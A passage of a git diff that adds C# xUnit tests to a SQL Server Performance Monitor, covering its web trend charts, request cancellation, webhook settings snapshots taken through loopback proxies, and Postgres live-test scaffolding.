+        Assert.Equal(new[] { "WRITELOG" }, Strings(r.GetProperty("rebuilt")));
+        Assert.Equal("WRITE", r.GetProperty("search").GetString());
+        Assert.Equal("signal_wait_time_ms_per_second", r.GetProperty("metric").GetString());
+        Assert.Equal(FirstTen, Strings(r.GetProperty("other")));
+        Assert.Equal("wait_time_ms_per_second", r.GetProperty("otherMetric").GetString());
+    }
+
+    [Fact]
+    public void OneFailedSeries_GetsANote_AndTheRestStillChart()
+    {
+        var r = Run("oneFailed");
+        var labels = Strings(r.GetProperty("chart").GetProperty("labels"));
+        Assert.Equal(9, labels.Length);
+        Assert.DoesNotContain("WRITELOG", labels);
+        Assert.Contains(Strings(r.GetProperty("notes")), n => n.StartsWith("WRITELOG:"));
+        Assert.Empty(r.GetProperty("errors").EnumerateArray());
+    }
+
+    [Fact]
+    public void WhenEverySeriesFails_TheReaderSeesAnErrorAndEachNote_NotABrokenChart()
+    {
+        var r = Run("allFailed");
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("chart").ValueKind);
+        Assert.Equal(10, Strings(r.GetProperty("notes")).Length);
+        Assert.Single(Strings(r.GetProperty("errors")));
+    }
+
+    [Fact]
+    public void TheMultiSeriesChart_IsZoomable()
+    {
+        var r = Run("zoom");
+        Assert.Equal(10, r.GetProperty("series").GetInt32());
+        Assert.True(r.GetProperty("zoomed").GetBoolean());
+        Assert.Equal(1, r.GetProperty("wrapped").GetInt32());
+        Assert.Equal("wait-trend|SRV1|wait_time_ms_per_second", r.GetProperty("id").GetString());
+    }
+
+    [Fact]
+    public void WhenEveryReadIsEmpty_AndNoneFailed_TheChartShowsTheEmptyState_NotAnError()
+    {
+        var r = Run("allEmpty");
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("chart").ValueKind);
+        Assert.Empty(r.GetProperty("errors").EnumerateArray());
+        Assert.Single(Strings(r.GetProperty("empties")), e => e.Contains("trend data"));
+    }
+
+    [Fact]
+    public void FastClicks_AbortTheSupersededReads_SoAtMostOneDrawsReadsAreInFlight()
+    {
+        var r = Run("fastClicks");
+        // Reads for the same series that are still in flight are shared (apiGetJoined), so four clicks over the same ten
+        // series send ten requests, not forty; a read nobody waits for any more is still aborted.
+        // Every click asks for the same ten series, so all of them join the first click's ten reads: exactly ten are sent,
+        // none is superseded, and none is aborted (ClicksThatChangeTheSeries below covers the aborts).
+        Assert.Equal(10, r.GetProperty("sent").GetInt32());
+        Assert.Equal(10, r.GetProperty("maxInFlight").GetInt32());
+        Assert.Equal(10, r.GetProperty("stillInFlight").GetInt32());
+        Assert.Equal(0, r.GetProperty("aborted").GetInt32());
+        Assert.Equal(10, r.GetProperty("chart").GetProperty("labels").GetArrayLength());
+    }
+
+    [Fact]
+    public void ClicksThatChangeTheSeries_AbortTheSupersededReads_AndSendOnlyTheNewOnes()
+    {
+        // Round-1 M5: each series has its own path, so nothing is shared; "Clear All" supersedes every read the
+        // Top waits click sent, and each is the only caller on its request, so the fetch itself is cancelled.
+        var r = Run("changedParameter");
+        Assert.Equal(10, r.GetProperty("readsByClear").GetInt32());
+        Assert.Equal(10, r.GetProperty("abortedByClear").GetInt32());
+        Assert.Equal(10 + 2, r.GetProperty("sent").GetInt32());
+        Assert.Equal(10, r.GetProperty("aborted").GetInt32());
+        Assert.Equal(2, r.GetProperty("stillInFlight").GetInt32());
+        Assert.Equal(10, r.GetProperty("maxInFlight").GetInt32());
+        Assert.Equal(new[] { "W11", "W12" }, Strings(r.GetProperty("chart").GetProperty("labels")));
+    }
+
+    [Fact]
+    public void TheSoleWaiterUnchecking_CancelsTheUnderlyingFetch()
+    {
+        var r = Run("soleWaiterUnchecks");
+        Assert.Equal(1, r.GetProperty("sentAfterCheck").GetInt32());
+        Assert.Equal(1, r.GetProperty("inFlightAfterCheck").GetInt32());
+        Assert.Equal(1, r.GetProperty("aborted").GetInt32());
+        Assert.Equal(0, r.GetProperty("inFlightAfterUncheck").GetInt32());
+        Assert.Equal(1, r.GetProperty("sent").GetInt32());
+    }
+
+    [Fact]
+    public void ASharedRead_IsCancelledOnlyWhenItsLastCallerAborts_AndALaterCallerSendsAFreshOne()
+    {
+        var r = Run("joinedAbort");
+        Assert.Equal(1, r.GetProperty("sentForTwo").GetInt32());
+        Assert.Equal(1, r.GetProperty("inFlightForTwo").GetInt32());
+        Assert.Equal("aborted", r.GetProperty("firstKind").GetString());
+        Assert.Equal(0, r.GetProperty("abortedAfterFirst").GetInt32());
+        Assert.Equal(1, r.GetProperty("inFlightAfterFirst").GetInt32());
+        Assert.Equal("aborted", r.GetProperty("secondKind").GetString());
+        Assert.Equal(1, r.GetProperty("abortedAfterSole").GetInt32());
+        Assert.Equal(0, r.GetProperty("inFlightAfterSole").GetInt32());
+        Assert.Equal(2, r.GetProperty("sentAfterLater").GetInt32());
+        Assert.Equal("data", r.GetProperty("laterKind").GetString());
+    }
+
+    [Fact]
+    public void ARebuild_PutsTheFocusAndCaretBackInTheSearchBox_OnlyWhenItHadThem()
+    {
+        var r = Run("focusKept");
+        Assert.False(r.GetProperty("sameNode").GetBoolean());
+        Assert.True(r.GetProperty("focused").GetBoolean());
+        Assert.Equal(1, r.GetProperty("start").GetInt32());
+        Assert.Equal(2, r.GetProperty("end").GetInt32());
+        Assert.Equal("WRI", r.GetProperty("value").GetString());
+        Assert.False(Run("noFocusStolen").GetProperty("focused").GetBoolean());
+    }
+
+    [Fact]
+    public void TheChart_NeverDrawsMoreThanTheCap_EvenWhenHandedMore()
+    {
+        Assert.Equal(10, Run("capInDraw").GetProperty("reads").GetInt32());
+    }
+
+    [Fact]
+    public void ACheckedWait_OutsideThisPollsList_StaysCheckedListedAndRead_AndIsStillThereWhenItReturns()
+    {
+        var r = Run("droppedOut");
+        Assert.Equal(new[] { "W13" }, Strings(r.GetProperty("checked")));
+        Assert.Equal(new[] { "W13" }, Strings(r.GetProperty("listedLast")));
+        Assert.Equal(new[] { "W13" }, Strings(r.GetProperty("reads")));
+        Assert.Equal(new[] { "W13" }, Strings(r.GetProperty("checkedBack")));
+    }
+
+    [Fact]
+    public void TheWaitsPanel_ReadsGetWaitTrend_OncePerWait_WithTheWaitTypeAndHours_AndImportsThePickerOnlyHere()
+    {
+        var tabs = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
+        Assert.Contains("readToolWithinKeptHistory(\"get_wait_trend\", { server, wait_type: waitType, hours: ctx.hours }, mine.signal)", tabs);
+        Assert.Contains("waitTypes.map(", tabs);
+        Assert.Contains("const MAX_WAITS_CHARTED = 10;", tabs);
+        Assert.Contains("from \"../multi-picker.js\"", tabs);
+        var panels = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "panels.js");
+        Assert.DoesNotContain("multi-picker", panels);
+    }
+}
diff --git a/Darling/Darling.Tests/WebWaitsActivityTrendsBehaviourTests.cs b/Darling/Darling.Tests/WebWaitsActivityTrendsBehaviourTests.cs
new file mode 100644
index 0000000000..f2943ce0f5
--- /dev/null
+++ b/Darling/Darling.Tests/WebWaitsActivityTrendsBehaviourTests.cs
@@ -0,0 +1,148 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// What the web Wait Stats tab's latch and spinlock trends and the Activity tab's session stats trend draw, from the shipped
+/// <c>server-tabs.js</c> run under Node against a scripted <c>/api/read</c>: series, unit, picker defaults, state across a
+/// rebuild, <c>missing_names</c> at the top level and under hints, discontinuity notices and empty answers. Node is skipped when it is not installed.
+/// </summary>
+public sealed class WebWaitsActivityTrendsBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-waits-activity-trends-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the waits-activity-trends harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the waits-activity-trends harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output);
+            var result = doc.RootElement.Clone();
+            Assert.Empty(result.GetProperty("rejections").EnumerateArray());
+            return result;
+        }
+    }
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    private static readonly string[] FirstFive = { "LATCH_A", "LATCH_B", "LATCH_C", "LATCH_D", "LATCH_E" };
+
+    [Fact]
+    public void TheLatchTrend_ChecksTheHeaviestFive_AndNamesThemInOneRead_WithTheDiscontinuityNotice()
+    {
+        var r = Run("latch");
+        Assert.Equal(FirstFive, Strings(r.GetProperty("checked")));
+        Assert.Equal(7, r.GetProperty("listed").GetInt32());
+        var read = Assert.Single(r.GetProperty("reads").EnumerateArray());
+        Assert.Equal("latch", read.GetProperty("metric").GetString());
+        Assert.Equal(string.Join(",", FirstFive), read.GetProperty("names").GetString());
+        Assert.Equal(FirstFive, Strings(r.GetProperty("chart").GetProperty("labels")));
+        Assert.Equal("ms/s", r.GetProperty("chart").GetProperty("unit").GetString());
+        Assert.Contains("baseline discontinuity at", Strings(r.GetProperty("notices")).Single());
+    }
+
+    [Fact]
+    public void TheSpinlockTrend_DrawsCollisionsPerSecond()
+    {
+        var r = Run("spinlock");
+        Assert.Equal(new[] { "SPIN_A", "SPIN_B", "SPIN_C" }, Strings(r.GetProperty("chart").GetProperty("labels")));
+        Assert.Equal("collisions/s", r.GetProperty("chart").GetProperty("unit").GetString());
+        Assert.Equal("spinlock", Assert.Single(r.GetProperty("reads").EnumerateArray()).GetProperty("metric").GetString());
+    }
+
+    [Fact]
+    public void TheSessionStatsTrend_DrawsTheCounts_AndNamesTheTopApplicationAndHost()
+    {
+        var r = Run("session");
+        var labels = Strings(r.GetProperty("chart").GetProperty("labels"));
+        Assert.Contains("Total", labels);
+        Assert.Contains("Running", labels);
+        Assert.Equal("sessions", r.GetProperty("chart").GetProperty("unit").GetString());
+        Assert.Equal("session_stats", Assert.Single(r.GetProperty("reads").EnumerateArray()).GetProperty("metric").GetString());
+        Assert.Contains("baseline discontinuity at", Strings(r.GetProperty("notices")).Single());
+        Assert.Contains(Strings(r.GetProperty("notes")), n => n.Contains("application AppOne (4)") && n.Contains("host HostOne (6)"));
+    }
+
+    [Fact]
+    public void TheChoices_SurviveARebuildForTheSameServer_AndStartFreshForAnotherServerAndKind()
+    {
+        var r = Run("survives");
+        var rebuilt = Strings(r.GetProperty("rebuilt"));
+        Assert.DoesNotContain("LATCH_B", rebuilt);
+        Assert.Contains("LATCH_G", rebuilt);
+        Assert.Equal(FirstFive, Strings(r.GetProperty("other")));
+        Assert.Equal(new[] { "SPIN_A", "SPIN_B", "SPIN_C" }, Strings(r.GetProperty("spin")));
+        Assert.Equal(string.Join(",", rebuilt), r.GetProperty("lastRead").GetProperty("names").GetString());
+    }
+
+    [Fact]
+    public void NamesTheReadCouldNotFind_AreShown_AndTheRestStillChart()
+    {
+        var r = Run("missing");
+        Assert.Contains("No samples in this window for: LATCH_C.", Strings(r.GetProperty("notices")));
+        Assert.DoesNotContain("LATCH_C", Strings(r.GetProperty("chart").GetProperty("labels")));
+        Assert.Equal(4, r.GetProperty("chart").GetProperty("labels").GetArrayLength());
+    }
+
+    [Fact]
+    public void WhenNoNamedSeriesHasSamples_TheHintsListIsShown_NotAChart()
+    {
+        var r = Run("allMissing");
+        Assert.Contains(Strings(r.GetProperty("notices")), n => n.StartsWith("No samples in this window for: LATCH_A"));
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("chart").ValueKind);
+    }
+
+    [Fact]
+    public void AnEmptyAnswer_ShowsTheReadsMessage_NotAChart()
+    {
+        foreach (var scenario in new[] { "emptyLatch", "emptySession" })
+        {
+            var r = Run(scenario);
+            Assert.Equal(JsonValueKind.Null, r.GetProperty("chart").ValueKind);
+            Assert.Contains("recorded in the last 24 hour(s)", Strings(r.GetProperty("empties")).Single());
+        }
+    }
+
+    [Fact]
+    public void WithNoLatchRows_NoTrendReadIsSent()
+    {
+        var r = Run("noOptions");
+        Assert.Empty(r.GetProperty("reads").EnumerateArray());
+        Assert.Single(Strings(r.GetProperty("empties")));
+    }
+}
diff --git a/Darling/Darling.Tests/WebWaitsActivityTrendsPageTests.cs b/Darling/Darling.Tests/WebWaitsActivityTrendsPageTests.cs
new file mode 100644
index 0000000000..c5ec474961
--- /dev/null
+++ b/Darling/Darling.Tests/WebWaitsActivityTrendsPageTests.cs
@@ -0,0 +1,80 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins for the web Wait Stats and Activity tabs' get_server_trend panels: the read names, params and where each panel sits.</summary>
+public sealed class WebWaitsActivityTrendsPageTests
+{
+    private static string Js() =>
+        ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js").ReplaceLineEndings("\n");
+
+    private static string Between(string source, string from, string to)
+    {
+        var start = source.IndexOf(from, System.StringComparison.Ordinal);
+        Assert.True(start >= 0, from);
+        var end = source.IndexOf(to, start + from.Length, System.StringComparison.Ordinal);
+        Assert.True(end > start, to);
+        return source[start..end];
+    }
+
+    [Fact]
+    public void TheWaitStatsTab_DrawsTheLatchAndSpinlockTrends_AfterTheirTables()
+    {
+        var waits = Between(Js(), "    id: \"waits\",\n    label: \"Wait Stats\"", "    id: \"cpu\",");
+        var latchTable = waits.IndexOf("\"get_latch_stats\"", System.StringComparison.Ordinal);
+        var latch = waits.IndexOf("namedTrendPanel(server, ctx, \"latch\")", System.StringComparison.Ordinal);
+        var spinTable = waits.IndexOf("\"get_spinlock_stats\"", System.StringComparison.Ordinal);
+        var spin = waits.IndexOf("namedTrendPanel(server, ctx, \"spinlock\")", System.StringComparison.Ordinal);
+        Assert.True(latchTable >= 0 && latch > latchTable && spinTable > latch && spin > spinTable);
+    }
+
+    [Fact]
+    public void TheActivityTab_DrawsTheSessionStatsTrend()
+    {
+        var activity = Between(Js(), "    id: \"activity\",\n    label: \"Activity\",\n    build:", "      table(\n        \"Running Jobs\"");
+        Assert.Contains("sessionStatsTrendPanel(server, ctx)", activity);
+    }
+
+    [Fact]
+    public void EveryTrendRead_GoesThroughTheKeptHistoryRead_WithTheRangeAndTheNamesParameter()
+    {
+        var js = Js();
+        var session = Between(js, "export function sessionStatsTrendPanel(", "export function memoryPressurePanels(");
+        Assert.Contains("readToolWithinKeptHistory(\"get_server_trend\", { server, metric: \"session_stats\", hours: ctx.hours }, ctx && ctx.signal)", session);
+        var panel = Between(js, "export function namedTrendPanel(", "export async function drawNamedTrends(");
+        Assert.Contains("readToolWithinKeptHistory(spec.optionsTool, { server, hours: ctx.hours, top: MAX_NAMES_CHARTED }, ctx && ctx.signal)", panel);
+        var draw = Between(js, "export async function drawNamedTrends(", "const SESSION_TREND_SERIES");
+        Assert.Contains("{ server, metric: kind, hours: ctx.hours, names: names.join(\",\") }", draw);
+        Assert.Contains("data.missing_names", draw);
+        Assert.Contains("data.hints.missing_names", draw);
+        Assert.Contains("discontinuityNotes(trend.data)", draw);
+    }
+
+    [Fact]
+    public void ThePicker_IsTheSharedPicker_CappedAtTenNames_KeyedByKindAndServer()
+    {
+        var js = Js();
+        Assert.Contains("const MAX_NAMES_CHARTED = 10;", js);
+        var panel = Between(js, "export function namedTrendPanel(", "export async function drawNamedTrends(");
+        Assert.Contains("key: kind + \"|\" + server,", panel);
+        Assert.Contains("max: MAX_NAMES_CHARTED,", panel);
+        Assert.Contains("multiPicker({", panel);
+    }
+
+    [Fact]
+    public void TheCharts_AreZoomable_AndRenderNoInnerHtml()
+    {
+        var section = Between(Js(), "const NAMED_TRENDS = {", "export function memoryPressurePanels(");
+        Assert.Contains("zoomableLineChart(", section);
+        Assert.DoesNotContain("innerHTML", section);
+    }
+}
diff --git a/Darling/Darling.Tests/WebhookDeliverySnapshotTests.cs b/Darling/Darling.Tests/WebhookDeliverySnapshotTests.cs
new file mode 100644
index 0000000000..be71f1a6e8
--- /dev/null
+++ b/Darling/Darling.Tests/WebhookDeliverySnapshotTests.cs
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5366: one webhook delivery reads its URLs, headers and proxies from one snapshot. A saved setting that changes while
+/// the delivery is in flight does not change where the later channels of that delivery go.
+/// </summary>
+public sealed class WebhookDeliverySnapshotTests
+{
+    [Fact]
+    public async Task AProxyChangedWhileTheFirstChannelPosts_DoesNotMoveTheNextChannelOfTheSameDelivery()
+    {
+        var config = new DarlingConfig();
+        using var teamsProxy = new LoopbackProxy();
+        using var slackProxy = new LoopbackProxy();
+        config.Webhooks.TeamsUrl = "http://teams.example.test/hook";
+        config.Webhooks.TeamsProxy = teamsProxy.Url;
+        config.Webhooks.SlackUrl = "http://slack.example.test/hook";
+        config.Webhooks.SlackProxy = slackProxy.Url;
+
+        /* The Teams post is in flight when the saved Slack proxy changes to an address nothing listens on. */
+        teamsProxy.OnRequest = () => config.Webhooks.SlackProxy = "http://127.0.0.1:1";
+
+        var service = new WebhookAlertService(
+            new DarlingAlertSettings(config), DarlingAlertDeliverer.Branding, NullLogger<WebhookAlertService>.Instance);
+
+        var result = await service.TrySendWebhookAlertsAsync(
+            "Deadlocks Detected", "server-alpha", "3", "1", cancellationToken: TestContext.Current.CancellationToken);
+
+        Assert.Equal(1, teamsProxy.Requests);
+        Assert.Equal(1, slackProxy.Requests);
+        Assert.Equal(AlertChannelOutcome.Delivered, result.Outcome);
+    }
+
+    [Fact]
+    public void ASnapshot_KeepsTheProxiesAndHeadersItWasTakenWith()
+    {
+        var config = new DarlingConfig();
+        config.Webhooks.TeamsUrl = "http://teams.example.test/hook";
+        config.Webhooks.TeamsProxy = "http://127.0.0.1:2001";
+        config.Webhooks.SlackProxy = "http://127.0.0.1:2002";
+        config.Webhooks.GenericUrl = "http://generic.example.test/hook";
+        config.Webhooks.GenericProxy = "http://127.0.0.1:2003";
+        config.Webhooks.GenericHeaders = "{\"X-Fake-Key\":\"not-real-value\"}";
+        config.Webhooks.PagerDutyProxy = "http://127.0.0.1:2004";
+        var settings = new DarlingAlertSettings(config);
+
+        var snapshot = ((IAlertSettings)settings).SnapshotForDelivery();
+
+        config.Webhooks.TeamsProxy = "http://127.0.0.1:3001";
+        config.Webhooks.SlackProxy = "http://127.0.0.1:3002";
+        config.Webhooks.GenericProxy = "http://127.0.0.1:3003";
+        config.Webhooks.GenericHeaders = "{\"X-Fake-Key\":\"changed\"}";
+        config.Webhooks.PagerDutyProxy = "http://127.0.0.1:3004";
+
+        Assert.Equal("http://127.0.0.1:2001", snapshot.TeamsProxyAddress);
+        Assert.Equal("http://127.0.0.1:2002", snapshot.SlackProxyAddress);
+        Assert.Equal("http://127.0.0.1:2003", snapshot.GenericWebhookProxyAddress);
+        Assert.Equal("http://127.0.0.1:2004", snapshot.PagerDutyProxyAddress);
+        Assert.Contains("not-real-value", snapshot.GenericWebhookHeadersJson, StringComparison.Ordinal);
+        Assert.Equal("http://127.0.0.1:3001", settings.TeamsProxyAddress);
+    }
+
+    /// <summary>A loopback "proxy" that answers every request 200 and can run a callback while the request is in flight.</summary>
+    private sealed class LoopbackProxy : IDisposable
+    {
+        private readonly TcpListener _listener = new(IPAddress.Loopback, 0);
+        private readonly CancellationTokenSource _stop = new();
+        private readonly Task _accepting;
+        private int _requests;
+
+        public LoopbackProxy()
+        {
+            _listener.Start();
+            Url = $"http://127.0.0.1:{((IPEndPoint)_listener.LocalEndpoint).Port}";
+            _accepting = Task.Run(AcceptLoopAsync);
+        }
+
+        public string Url { get; }
+
+        public int Requests => Volatile.Read(ref _requests);
+
+        public Action? OnRequest { get; set; }
+
+        private async Task AcceptLoopAsync()
+        {
+            try
+            {
+                while (!_stop.IsCancellationRequested)
+                {
+                    using var client = await _listener.AcceptTcpClientAsync(_stop.Token);
+                    using var stream = client.GetStream();
+                    var received = new StringBuilder();
+                    var buffer = new byte[16 * 1024];
+                    while (!received.ToString().Contains("\r\n\r\n", StringComparison.Ordinal))
+                    {
+                        var read = await stream.ReadAsync(buffer, _stop.Token);
+                        if (read == 0)
+                        {
+                            break;
+                        }
+
+                        received.Append(Encoding.ASCII.GetString(buffer, 0, read));
+                    }
+
+                    Interlocked.Increment(ref _requests);
+                    OnRequest?.Invoke();
+
+                    var response = Encoding.ASCII.GetBytes("HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n");
+                    await stream.WriteAsync(response, _stop.Token);
+                    await stream.FlushAsync(_stop.Token);
+                }
+            }
+            catch (OperationCanceledException) { /* Dispose */ }
+            catch (SocketException) { /* listener stopped */ }
+            catch (ObjectDisposedException) { /* listener stopped */ }
+            catch (System.IO.IOException) { /* client went away */ }
+        }
+
+        public void Dispose()
+        {
+            _stop.Cancel();
+            _listener.Stop();
+            try
+            {
+                _accepting.Wait(TimeSpan.FromSeconds(5));
+            }
+            catch (AggregateException) { /* the cancellation above */ }
+
+            _stop.Dispose();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/WebhookPostTimeoutTests.cs b/Darling/Darling.Tests/WebhookPostTimeoutTests.cs
index e3be4ca6e0..b9ebd280f6 100644
--- a/Darling/Darling.Tests/WebhookPostTimeoutTests.cs
+++ b/Darling/Darling.Tests/WebhookPostTimeoutTests.cs
@@ -27,6 +27,7 @@ namespace Darling.Tests;
 /// connection and never answered held the whole alert delivery for that long, once per channel, and a service
 /// stop waited it out. These tests post to a loopback endpoint that accepts and never answers.
 /// </summary>
+[Collection("timing")]
 public sealed class WebhookPostTimeoutTests
 {
     /* Well above anything the bounded paths need (a 200 ms timeout, an immediate cancel) and well below the
diff --git a/Darling/Darling.Tests/WindowFloorLiveHarness.cs b/Darling/Darling.Tests/WindowFloorLiveHarness.cs
new file mode 100644
index 0000000000..e571ef3c30
--- /dev/null
+++ b/Darling/Darling.Tests/WindowFloorLiveHarness.cs
@@ -0,0 +1,136 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The shared scaffolding of the #4966 window-floor live cases for the collection log, plan corrections and memory pressure
+/// events: the current-minute anchor, a server registered at a chosen instant with its collector runs logged, and the run
+/// wrapper that sets the fleet schedule rows aside (the coverage probe reads the purge edge from them) and puts them back.
+/// </summary>
+internal static class WindowFloorLiveHarness
+{
+    /// <summary>The current minute, taken once per test: the coverage probe measures its purge edge from the store's own clock.</summary>
+    public static DateTime AnchorNow()
+    {
+        var now = DateTime.UtcNow;
+        return new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+    }
+
+    public static JsonElement Parse(string json) => JsonDocument.Parse(json).RootElement.Clone();
+
+    /// <summary>A server registered at <paramref name="created"/>, and its runs of <paramref name="collector"/> logged every
+    /// <paramref name="stepMinutes"/> minutes from <paramref name="runsFrom"/> to <paramref name="runsTo"/> (none when null).</summary>
+    public static async Task SeedServerAsync(
+        NpgsqlConnection connection, string name, DateTime created, string collector, DateTime? runsFrom, int stepMinutes, DateTime runsTo,
+        string[] tables, CancellationToken ct)
+    {
+        var serverId = ServerIdHelper.GetDeterministicHashCode(name);
+        await DeleteServerAsync(connection, name, tables, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, serverId, name, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE servers SET created_date = $2 WHERE server_id = $1", serverId, DarlingMcpTestData.Naive(created));
+
+        if (runsFrom is DateTime from)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT row_number() OVER (), $1, $2, $3, t, 12, 'SUCCESS', 0
+FROM generate_series($4::timestamp, $5::timestamp, make_interval(mins => $6)) AS t",
+                serverId, name, collector, DarlingMcpTestData.Naive(from), DarlingMcpTestData.Naive(runsTo), stepMinutes);
+        }
+    }
+
+    public static async Task DeleteServerAsync(NpgsqlConnection connection, string name, string[] tables, CancellationToken ct)
+    {
+        var serverId = ServerIdHelper.GetDeterministicHashCode(name);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM config_collector_schedules WHERE server_id = $1", serverId);
+        foreach (var table in tables)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, $"DELETE FROM {table} WHERE server_id = $1", serverId);
+        }
+
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM collection_log WHERE server_id = $1", serverId);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "DELETE FROM servers WHERE server_id = $1", serverId);
+    }
+
+    /// <summary>Runs <paramref name="body"/> with the fleet-wide schedule rows of <paramref name="collectors"/> set aside, then restores
+    /// them, clears the probe seam and deletes the servers in <paramref name="serverNames"/> (and their <paramref name="tables"/> rows).</summary>
+    public static async Task RunAsync(
+        string? cs, string[] collectors, string[] serverNames, string[] tables, Func<NpgsqlConnection, NpgsqlDataSource, DateTime, Task> body)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live window-floor test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        var saved = new List<(string Name, int? Frequency, int? Retention, bool Enabled, string[]? Databases)>();
+        if (collectors.Length > 0)
+        {
+            await using var save = new NpgsqlCommand(
+                "SELECT collector_name, frequency_minutes, retention_days, enabled, databases FROM config_collector_schedules WHERE server_id IS NULL AND lower(collector_name) = ANY($1)", connection);
+            save.Parameters.AddWithValue(collectors);
+            await using (var reader = await save.ExecuteReaderAsync(ct))
+            {
+                while (await reader.ReadAsync(ct))
+                {
+                    saved.Add((reader.GetString(0),
+                        reader.IsDBNull(1) ? null : reader.GetInt32(1),
+                        reader.IsDBNull(2) ? null : reader.GetInt32(2),
+                        reader.GetBoolean(3),
+                        reader.IsDBNull(4) ? null : (string[])reader.GetValue(4)));
+                }
+            }
+
+            await using var clear = new NpgsqlCommand("DELETE FROM config_collector_schedules WHERE server_id IS NULL AND lower(collector_name) = ANY($1)", connection);
+            clear.Parameters.AddWithValue(collectors);
+            await clear.ExecuteNonQueryAsync(ct);
+        }
+
+        var bodySucceeded = false;
+        try
+        {
+            await body(connection, postgres, AnchorNow());
+            bodySucceeded = true;
+        }
+        finally
+        {
+            foreach (var row in saved)
+            {
+                await DarlingMcpTestData.ExecAsync(connection, CancellationToken.None,
+                    "INSERT INTO config_collector_schedules (server_id, collector_name, frequency_minutes, retention_days, enabled, databases) VALUES (NULL, $1, $2, $3, $4, $5) ON CONFLICT DO NOTHING",
+                    row.Name, (object?)row.Frequency ?? DBNull.Value, (object?)row.Retention ?? DBNull.Value, row.Enabled, (object?)row.Databases ?? DBNull.Value);
+            }
+
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+            {
+                PerformanceMonitor.Darling.Service.Mcp.DarlingMcpWindowNotice.TestOnlyProbe = null;
+                return Task.CompletedTask;
+            });
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                foreach (var name in serverNames)
+                {
+                    await DeleteServerAsync(cleanup, name, tables, cleanupCt);
+                }
+            });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/WindowNoticeAggregateCases.cs b/Darling/Darling.Tests/WindowNoticeAggregateCases.cs
new file mode 100644
index 0000000000..56758b0954
--- /dev/null
+++ b/Darling/Darling.Tests/WindowNoticeAggregateCases.cs
@@ -0,0 +1,143 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
